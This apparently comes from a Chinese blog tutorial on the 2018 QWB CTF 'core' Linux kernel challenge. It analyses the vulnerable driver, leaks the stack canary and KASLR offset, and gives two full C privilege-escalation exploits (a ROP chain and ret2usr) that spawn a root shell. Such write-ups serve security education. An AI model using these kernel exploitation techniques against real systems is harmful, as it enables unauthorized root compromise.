• kernel pwn学习 --栈溢出


    本文记录我学习kernel pwn的过程,着重分析kernel pwn中栈相关的漏洞利用

    这里以强网杯2018的一道题目为例展开分析

    2018年强网杯core

    与用户态的pwn题给一个二进制文件进行漏洞分析并攻击远程服务器不同,内核态的pwn题是给选手一个虚拟的文件系统,主要是分析驱动文件中存在的漏洞,最终目的是将用户提权值root权限,所以内核态的exp也是用c语言编写。

    题目文件

    start.sh 开启环境的脚本

    vmlinux 未经压缩的内核

    bzImage 压缩过的内核

    core.cpio 压缩后的文件映像

    解包:

    mkdir core
    mv core.cpio ./core/core.cpio.gz
    cd core
    gunzip core.cpio.gz
    cpio -idmv < core.cpio
    

    打包:

    ./gen_cpio.sh core.cpio
    mv core.cpio ../core.cpio
    

    驱动分析

    init_module

    创建一个虚拟文件

    __int64 init_module()
    {
      core_proc = proc_create("core", 438LL, 0LL, &core_fops);// create vitrul file core
      printk(&unk_2DE);
      return 0LL;
    }
    

    core_write

    signed __int64 __fastcall core_write(__int64 fd, __int64 buf, unsigned __int64 n)
    {
      unsigned __int64 v3; // rbx
    
      v3 = n;
      printk(&unk_215);
      if ( v3 <= 0x800 && !copy_from_user(&name, buf, v3) )
        return v3;
      printk(&unk_230);
      return 0xFFFFFFF2LL;
    }
    

    往全局变量name中写入数据

    core_read

    unsigned __int64 __fastcall core_read(__int64 fd)
    {
      __int64 v1; // rbx
      __int64 *v2; // rdi
      signed __int64 i; // rcx
      unsigned __int64 result; // rax
      __int64 v5; // [rsp+0h] [rbp-50h]
      unsigned __int64 v6; // [rsp+40h] [rbp-10h]
    
      v1 = fd;
      v6 = __readgsqword(0x28u);
      printk(&unk_25B);
      printk(&unk_275);
      v2 = &v5;
      for ( i = 16LL; i; --i )
      {
        *v2 = 0;
        v2 = (v2 + 4);
      }
      strcpy(&v5, "Welcome to the QWB CTF challenge.
    ");
      result = copy_to_user(v1, &v5 + off, 0x40LL);
      if ( !result )
        return __readgsqword(0x28u) ^ v6;
      __asm { swapgs }
      return result;
    }
    

    从&v5(rbp-0x50)+off处读取0x40字节的数据到 v1(fd) => leak canary

    core_copy_function

    signed __int64 __fastcall core_copy_func(signed __int64 a1)
    {
      signed __int64 result; // rax
      __int64 v2; // [rsp+0h] [rbp-50h]
      unsigned __int64 v3; // [rsp+40h] [rbp-10h]
    
      v3 = __readgsqword(0x28u);
      printk(&unk_215);
      if ( a1 > 63 )
      {
        printk(&byte_2A1);
        result = 0xFFFFFFFFLL;
      }
      else
      {
        result = 0LL;
        qmemcpy(&v2, &name, (unsigned __int16)a1);  // 存在整数溢出,溢出a1的值即可造成栈溢出
      }
      return result;
    }
    

    从name复制内存到v2,v2在栈上,配合整数溢出即可进行rop。

    core_iotcl

    __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
    {
      __int64 v3; // rbx
    
      v3 = a3;
      switch ( a2 )
      {
        case 0x6677889B:
          core_read(a3);
          break;
        case 0x6677889C:
          printk(&unk_2CD);
          off = v3;
          break;
        case 0x6677889A:
          printk(&byte_2B3);
          core_copy_func(v3);
          break;
      }
      return 0LL;
    }
    

    通过不同命令执行core_read set_off core_copy_func

    程序调试

    本地qemu挂起,gdb接上端口调试

    target remote:1234 
    

    获取core.ko的装载地址

    cat /sys/module/core/sections/.text > /tmp/core.text
    

    驱动加载基地址

    add-symbol-file core.ko addr #addr为core.ko的装载地址
    

    加载vmlinux的符号表

    file  ./vmlinux
    

    在未开启kaslr时,vmlinux的基地址是固定的。本题开了kaslr,所以需要将leak kaslr的偏移

     vmlinux base = 0xffffffff81000000 #未开启kaslr时
    

    设置off的值

    将断点打在core_read+105

    .text:00000000000000CC                 call    _copy_to_user
    
    pwndbg> stack 20
    00:0000│ rax rsi rsp  0xffffbcb3c00d3e18 ◂— push   rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.
    ' */
    01:0008│              0xffffbcb3c00d3e20 ◂— je     0xffffbcb3c00d3e91 /* 0x5120656874206f74; 'to the QWB CTF challenge.
    ' */
    02:0010│              0xffffbcb3c00d3e28 ◂— push   rdi /* 0x6320465443204257; 'WB CTF challenge.
    ' */
    03:0018│              0xffffbcb3c00d3e30 ◂— push   0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.
    ' */
    04:0020│              0xffffbcb3c00d3e38 ◂— 0xa2e /* '.
    ' */
    05:0028│              0xffffbcb3c00d3e40 ◂— 0
    ... ↓
    08:0040│              0xffffbcb3c00d3e58 ◂— add    dh, al /* 0x402ff60dad7dc600 */   #cancary
    09:0048│              0xffffbcb3c00d3e60 —▸ 0x1125dd0 ◂— 0
    0a:0050│              0xffffbcb3c00d3e68 —▸ 0xffffffffc001319b (core_ioctl+60) ◂— jmp    0xffffffffc00131b5
    0b:0058│              0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
    0c:0060│              0xffffbcb3c00d3e78 —▸ 0xffffffffac3dd6d1 ◂— mov    rdi, rbx
    0d:0068│              0xffffbcb3c00d3e80 ◂— wait    /* 0x889b */
    0e:0070│              0xffffbcb3c00d3e88 —▸ 0xffffa31747aea900 ◂— 0
    0f:0078│              0xffffbcb3c00d3e90 —▸ 0xffffffffac38ecfa ◂— cmp    eax, 0xfffffdfd
    10:0080│              0xffffbcb3c00d3e98 —▸ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
    11:0088│              0xffffbcb3c00d3ea0 ◂— 0
    ... ↓
    13:0098│              0xffffbcb3c00d3eb0 —▸ 0xffffffffad456968 —▸ 0xffffffffad98af50 ◂— push   -0x52ba97 /* 0xffffffffad456968 */
    

    通过调试可以发现,rsp+0x40处储存了canary的值

    通过查看rsi寄存器的值确定偏移

    所以将off设置为0x40即可leak canary的值

    ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
    char *buf = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, INS_READ, buf);   // leak canary in kernel-stack
    canary = *(size_t *)buf;
    

    kernel rop

    获取内核函数地址以及kaslr偏移

    在kallsyms中存储了内核函数的地址,可以读取去获取内核态函数的地址,同时计算出kaslr的偏移

    void leak_addr_of_kernel(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[*] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[*] commit_creds : 0x%lx
    ", commit_creds);
                offest = commit_creds - 0xffffffff8109c8e0;
                vmlinux_base =  0xffffffff81000000 + offest;
                printf("[*] offset : 0x%lx
    ", offest);
                printf("[*] vmlinux base : 0x%lx
    ", vmlinux_base);
            }
        }
    }
    

    构造ROP链

    rop链构造 执行commit_creds(prepare_kernel_cred(0)) 然后返回用户态开一个shell

    for(i=0; i<10; i++){
            rop[i] = canary;
        } 
        rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
        rop[i++] = 0;
        rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
        rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
        rop[i++] = commit_creds;
        rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
        rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
        rop[i++] = 0;
        rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
        rop[i++] = (size_t)get_shell;              // rip
        rop[i++] = usr_cs;                     
        rop[i++] = usr_rflags;                 
        rop[i++] = usr_rsp;                    
        rop[i++] = usr_ss;                     
    

    Expliot:

    //gcc -static -masm=intel -g -o rop rop.c
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #define SET_OFF 0x6677889C
    #define READ 0x6677889B
    #define COPY_FUNC 0x6677889A
    void leak_addr_of_kernel();
    void get_usr_regs();
    void get_shell();
    
    size_t canary = 0; // value of canary
    size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
    size_t offest; // offset of kaslr
    size_t vmlinux_base; //  vmlinux base address
    size_t rop[100] = {0};  // payload
    size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
    
    int main(){
        get_usr_regs();
        leak_addr_of_kernel();
        int fd = open("/proc/core", O_RDWR);
        if(fd < 0){
            puts("[!] fail to open file [!]");
            exit(0);
        }
        ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
        char *buf = (char *)malloc(0x40);   // buffer of leak data
        ioctl(fd, READ, buf);   // leak canary in kernel-stack
        canary = *(size_t *)buf;
        printf("[*] canary : 0x%lx
    ", canary);
    
        int i;
        for(i=0; i<10; i++){
            rop[i] = canary;
        }
        rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
        rop[i++] = 0;
        rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
        rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
        rop[i++] = commit_creds;
        rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
        rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
        rop[i++] = 0;
        rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
        rop[i++] = (size_t)get_shell;              
        rop[i++] = usr_cs;                     
        rop[i++] = usr_rflags;                 
        rop[i++] = usr_rsp;                    
        rop[i++] = usr_ss;                    
    
        write(fd, rop, 8*25);    
        ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8); 
    }
    
    /* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
    void leak_addr_of_kernel(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[*] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[*] commit_creds : 0x%lx
    ", commit_creds);
                offest = commit_creds - 0xffffffff8109c8e0;
                vmlinux_base =  0xffffffff81000000 + offest;
                printf("[*] offset : 0x%lx
    ", offest);
                printf("[*] vmlinux base : 0x%lx
    ", vmlinux_base);
            }
        }
    }
    
    void get_usr_regs(){
        __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"
            "pop usr_rflags;"
        );
        printf("[*] save regs of user mode, done !!!
    ");
    }
    
    void get_shell(){
        if(!getuid())
        {
            system("/bin/sh");
        }
        else
        {
            puts("[!] get_shell failed");
        }
        exit(0);
    }
    

    ret2usr

    由于本题没有开smep保护,既可以在内核态执行用户空间的代码

    可以把commit_creds(prepare_kernel_cred(0))写成一个函数直接在rop中执行

    void privilege_escalation(){
        if(commit_creds && prepare_kernel_cred){
            (*((void (*)(char *))commit_creds))(
                (*((char* (*)(int))prepare_kernel_cred))(0)
            );
        }
    }
    

    在rop链上的构造与rop有所不同

        for(i=0; i<10; i++){
            rop[i] = canary;
        }
        rop[i++] = (size_t)privilege_escalation;
        rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
        rop[i++] = 0;
        rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
        rop[i++] = (size_t)shell;              // rip
        rop[i++] = usr_cs;                     // cs
        rop[i++] = usr_rflags;                 // rflags
        rop[i++] = usr_rsp;                    // rsp
        rop[i++] = usr_ss;                     // ss
    

    Expliot:

    /* compile  
    gcc -static -masm=intel -g -o exp exp.c */
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #define SET_OFF 0x6677889C
    #define READ 0x6677889B
    #define COPY_FUNC 0x6677889A
    void leak_addr_of_kernel();
    void get_usr_regs();
    void privilege_escalation();
    void get_shell();
    size_t canary = 0; // value of canary
    size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
    size_t offest; // offset of kaslr
    size_t vmlinux_base; //  vmlinux base address
    size_t rop[100] = {0};  // payload
    size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
    
    int main(){
        get_usr_regs();
        leak_addr_of_kernel();
        int fd = open("/proc/core", O_RDWR);
        if(fd < 0){
            puts("[!] fail to open file [!]");
            exit(0);
        }
        ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
        char *buf = (char *)malloc(0x40);   // buffer of leak data
        ioctl(fd, READ, buf);   // leak canary in kernel-stack
        canary = *(size_t *)buf;
        printf("[*] canary : 0x%lx
    ", canary);
    
        int i;
        for(i=0; i<10; i++){
            rop[i] = canary;
        }
        rop[i++] = (size_t)privilege_escalation;
        rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
        rop[i++] = 0;
        rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
        rop[i++] = (size_t)get_shell;              // rip
        rop[i++] = usr_cs;                     // cs
        rop[i++] = usr_rflags;                 // rflags
        rop[i++] = usr_rsp;                    // rsp
        rop[i++] = usr_ss;                     // ss
    
        write(fd, rop, 8*25);    
        ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8);
    }
    void leak_addr_of_kernel(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[*] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[*] commit_creds : 0x%lx
    ", commit_creds);
                offest = commit_creds - 0xffffffff8109c8e0;
                vmlinux_base =  0xffffffff81000000 + offest;
                printf("[*] offset : 0x%lx
    ", offest);
                printf("[*] vmlinux base : 0x%lx
    ", vmlinux_base);
            }
        }
    }
    
    void get_usr_regs(){
        __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"
            "pop usr_rflags;"
        );
        printf("[*] save regs of user mode, done !!!
    ");
    }
    void privilege_escalation(){
        if(commit_creds && prepare_kernel_cred){
            (*((void (*)(char *))commit_creds))(
                (*((char* (*)(int))prepare_kernel_cred))(0)
            );
        }
    }
    
    void get_shell(){
        if(!getuid())
        {
            system("/bin/sh");
        }
        else
        {
            puts("[!] get_shell failed");
        }
        exit(0);
    }
    

    参考

    http://p4nda.top/2018/07/13/ciscn2018-core/#core

    https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/

  • 相关阅读:
    LeetCode
    LeetCode
    Centos7防火墙快速开放端口配置方法
    SQLServer2008R2无人值守批处理脚本自动化安装
    sql server2014企业版无人值守批处理脚本自动化安装
    什么是Docker?
    安全终端模拟工具Xshell 5使用密钥认证登录配置详细教程
    SVN服务端VisualSVN数据转移说明
    RTX服务端用户数据迁移说明
    win7系统保护配置现错误“文件名、目录名或卷标语法不正确。(0x8007007B)
  • 原文地址:https://www.cnblogs.com/z2yh/p/14328128.html
Copyright © 2020-2023  润新知